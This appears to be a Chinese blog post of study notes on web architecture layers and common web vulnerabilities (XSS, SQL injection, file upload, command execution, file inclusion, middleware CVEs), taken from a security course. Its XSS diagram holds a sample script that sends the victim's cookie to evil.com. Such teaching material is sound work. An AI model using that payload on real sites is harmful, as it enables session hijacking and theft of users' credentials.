菜鸡而已

Web构成组件

-Web服务组件的分层结构

从整体来看,Web服务架构的立体式结构由上至下共可分为8或9层

抽象结构 具体实例
第三方内容 广告统计、mockup
Web前端框架 HTML5、jQuery、Bootstrap
Web应用 CMS、BBS、Blog
Web开发框架 ThinkPHP、Django、Rails
Web服务端语言 PHP、JSP、.NET
Web容器
Web服务器
Tomcat、Jetty
Apache、IIS、Nginx
存储 数据库存储、内存存储、文件存储
操作系统 Windows、Linux

其中不同的层级,发挥着各自的作用,承担起在Web通信、服务独特的使命与责任。

【自下而上的概览】各部分的基本概念、作用及典例等

I.操作系统

概念:

操作系统(Operating System ,OS)是一种软件,是硬件基础上的第一层软件,是用以管理计算机硬件与软件资源的计算机程序,是硬件和其他软件沟通的桥梁,同时也是计算机系统的内核与基石。

作用:

在管理与配置内存、决定系统资源供需的优先次序、控制输入与输出设备、操作网络与管理文件系统等方面发挥重要作用;提供最基本的运算等基础服务

典例:

​嵌入式系统,如VxWorks等

​类Unix系统,如Linux等

​微软Windows系统,如Win10等

II.存储

概念:

​-现代信息技术中用于保存信息的记忆设备

​-用于存储的设备被称为存储介质

​-用于规定、管理存储的软件,称为存储管理系统

作用:

​按照一定的约定,有规律的存放数字信息

典例:

​内存、硬盘、U盘、数据库(MySql、Oracle)等

III.Web服务器端

①Web服务器

概念:

​对外提供静态页面Web服务的软件系统

作用:
​-处理Http协议

​-接收、处理、发送静态页面

​-处理并发、负载均衡

典例:

​Apache、IIS、Nginx

②Web容器

概念:

​为了满足交互操作,获取动态结果,而提供的一些拓展机制能够让HTTP服务器调用服务端程序

作用:

​处理动态页面请求(解释器),如asp、jsp、php、cgi

典例:

​Tomcat、Weblogic、Jboss、Jetty、Webshere等

Web服务器和Web容器的关系【利用分层结构理解】

*以Apache和Tomcat为例

Apache Tomcat
本质 Apache是Web服务器,
处理浏览器HTTP请求
Tomcat是一个Servlet容器
(可以认为是Apache的拓展)
可独立运行在Apache上
支持对象 只支持HTML等静态普通网页
可以单项连通Tomcat
(Apache可以单向访问Tomcat
中的资源,而反之则不行)
可以支持动态对象
JSP、PHP、CGI等
作用基础 HTTP Server Servlet引擎

IV.服务器语言

概念:

​为了对客户端请求的动态响应,在服务端通过编程实现,编程的语言称为Web服务端语言

作用:

​-实现用户注册、信息查询、数据库访问

​-为不同的用户定制页面

​-对不同的网页提供安全的访问控制

典例:

​ASP、ASP.NET、JSP、PHP等

Ⅴ.Web开发框架

概念:

​为了解决基础Web开发的基础功能,节省开发时间、成本,开发者更多的精力放在Web网站所需的功能上,形成的开发框架系统。

作用:

​-接受请求

​-内容请求的路由处理

​-动态生成HTML模板

典例:

​Django、Flask、ThinkPHP、Rails

VI.Web应用

概念:

​一种采用B/S架构,通过Web访问的应用程序,程序的最大好处是用户很好访问应用程序,用户只需有浏览器即可,不需要再安装其它的软件

作用:

​实现某种信息、内容的高效管理沟通、信息发布的需求

典例:

​内容管理系统(CMS)、Blog、BBS等

Web访问流程

整体流程:

用户在浏览器地址栏输入网址Url

DNS域名解析

建立TCP链接

发送HTTP Request

Web服务器响应

应用服务器响应

关闭TCP链接

用户浏览器渲染界面

Web安全问题

层面 典型安全问题
Web前端 XSS
Web开发框架 远程命令执行
Web服务器和容器 远程溢出、DDos攻击
存储 Sql注入
操作系统层 系统漏洞、系统命令非法执行

跨站脚本攻击(XSS)

概念:

​ 跨站脚本攻击(XSS),指攻击者通过在Web页面写入恶意脚本,造成用户在浏览页面时,控制用户浏览器进行操作的攻击方式。

类型:

-反射型

-存储型

-DOM型

危害:

​ 盗取cookie、XSS蠕虫攻击、对话劫持、钓鱼攻击等

XSS攻击示例
body { margin: 0 }
#content-info { width: auto; margin: 0 auto; text-align: center }
#author-info { white-space: nowrap; text-overflow: ellipsis; overflow: hidden }
#title { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; padding-top: 10px; margin-bottom: 2px; font-size: 28px; color: rgba(80, 80, 80, 1) }
.text { white-space: nowrap; text-overflow: ellipsis; display: inline-block; margin-right: 20px; margin-bottom: 2px; font-size: 20px; color: rgba(140, 140, 140, 1) }
#svg-container { width: 100%; min-width: 0; margin: 0 10px }
#main-content { bottom: 0; left: 0; right: 0; background-color: rgba(208, 207, 216, 1); display: flex; height: auto; flex-flow: row wrap; text-align: center }
#svg-container>svg { display: block; margin: 10px auto 0 }
#copyright { bottom: 0; left: 50%; margin: 5px auto; font-size: 16px; color: rgba(81, 81, 81, 1) }
#copyright>a { text-decoration: none; color: rgba(119, 119, 204, 1) }
.number { position: absolute; top: 0; left: 0; border-top: 22px solid rgba(118, 131, 143, 1); border-right: 22px solid rgba(0, 0, 0, 0) }

XSS攻击示例
zOxygeNz
2020-04

.st2 {fill:#303030;font-family:Segoe UI Symbol;font-size:14pt}
.st9 {fill:#303030;font-family:Tahoma;font-size:14pt}
.st1 {fill:#303030;font-family:Viner Hand ITC;font-size:14pt}
.st7 {fill:#303030;font-family:宋体;font-size:12pt}
.st8 {fill:#357d91;font-family:方正粗黑宋简体;font-size:22pt}
.st6 {fill:#70578e;font-family:Tw Cen MT Condensed Extra Bold;font-size:10pt}
.st5 {fill:#70578e;font-family:Tw Cen MT Condensed Extra Bold;font-size:10pt}
.st11 {fill:#a94543;font-size:13pt}
.st3 {font-family:Segoe UI Symbol}
.st4 {font-family:Tw Cen MT Condensed Extra Bold;font-size:13pt}
.st10 {font-size:13pt}

AttackerAttacker‘s BrowserAttacker’ServerWebsiteWebsite DatabaseWebsite‘s Vulnerable Codeprint “<html>”print “<h1> Most recent comment</h1>”print database.lastestCommentprint “</html>”<script>…</script>POST http://example.com/submit-comment1VictimVictim\’s Browser<html><h1>Most recent coment</h1><script> windows.location=”http://evil.com/?cookie=”+document.cookie</script></html>2GET http://example.com/recent-comment3200 OK4GET http://evil.com/?cookie-secret

SQL注入漏洞

概念:

​ SQL注入漏洞,Web系统对数据库访问语句过滤不严,入侵者在合法参数的位置,传入特殊的字符、命令,实现对后台数据库的入侵。

类型:

-数据型

​ -Select * from table where id = 360

-字符型

​ -Select * from table where username = ‘sanliuling’

危害:

​ 数据库信息泄露、数据篡改、挂马等

文件上传漏洞

概念:

​ 文件上传漏洞,网站WEB应用都有一些文件上传功能,比如文档、图片、头像、视频上传,当上传功能的实现代码没有严格校验上传文件的后缀和文件类型时,就可以上传任意文件,甚至可执行文件后门。

类型:

​ 根据网站使用及可解析的程序脚本不同,可以上传的恶意脚本可以是PHP、ASP、JSP、ASPX文件等

危害:

​ 恶意文件传递给解释器去执行,之后就可以在服务器上执行恶意代码,可实现数据库执行、服务器文件管理,服务器命令执行等恶意操作。

命令执行

概念:

​ 命令执行,应用程序有时需要执行一些执行系统命令的函数,而Web开发语言中部分函数可以执行系统命令,如PHP中的system、exec、shell_exec等函数。

危害:

​ 当黑客控制这些函数的参数时,就可以将恶意的系统命令拼接到正常的命令中,从而造成命令执行攻击,若当前用户为root用户,则危害程度更大。

文件包含

概念:

​ 文件包含,程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时,直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。所有的脚本语言都会提供文件包含功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有。

常见包含函数有:include()、require()

类型:

​ 本地包含

​ 远程包含

危害:

​ 文件包含函数加载的参数没有经过过滤或者严格定义,可以被用户控制,包含其他恶意文件,导致执行了非预期的代码。

Web中间件

概念:

​ Web中间件,介于操作系统和应用程序之间的产品,面向信息系统交互,集成过程中的通用部分的集合,屏蔽了底层通讯,交互,连接等复杂又通用化的功能,以产品的形式提供出来,系统在交互时,直接采用中间件进行连接和交互即可,避免了大量的代码开发和人工成本。

类型:

  • IIS

  • Apache

  • Tomcat

  • Nginx

  • WebLogic

  • Jboss

常见漏洞

中间件名称 漏洞
IIS 解析漏洞、PUT命令执行漏洞、PUT文件上传漏洞、短文件名猜测
Apache 文件解析漏洞
Tomcat 任意写文件漏洞(CVE-2017-12615)、任意文件取\包含漏洞(CVE-2020-1938)
远程部署漏洞
Nginx 文件解析漏洞、目录穿越\遍历漏洞
Weblogic 任意文件上传漏洞(CVE-2018-2894)、SSRF漏洞(CVE-2014-4210)
弱口令&&远程部署漏洞
Jboss JBoss 4.x JBossMQ JMS反序列化漏洞(CVE-2017-7504)
反序列化漏洞(CVE-2017-12149)、弱口令&&远程部署漏洞

漏洞样例(Tomcat-CVE-2020-1938)

Tomcat

​ Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照SunMicrosystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持。

​ 由于Tomcat本身也内含了HTTP服务器,因此可以是做单独的Web服务器。

影响版本

Apache Tomcat 9.x<9.0.31

Apache Tomcat 8.x<8.5.51

Apache Tomcat 7.x<7.0.100

Apache Tomcat 6.x

漏洞危害

​ 读取到/WEB-INF/web.xml文件

OWASP TOP10

​ 反映影响比较广泛、危害性较大的重点风险所在处

推荐图书

·《白帽子讲Web安全》

·《Web安全深度剖析》

·《Web安全攻防》


本篇内容总结自360网络安全大学公开课
网址 https://university.360.cn/

版权声明:本文为zOxygeNz原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/zOxygeNz/p/Web.html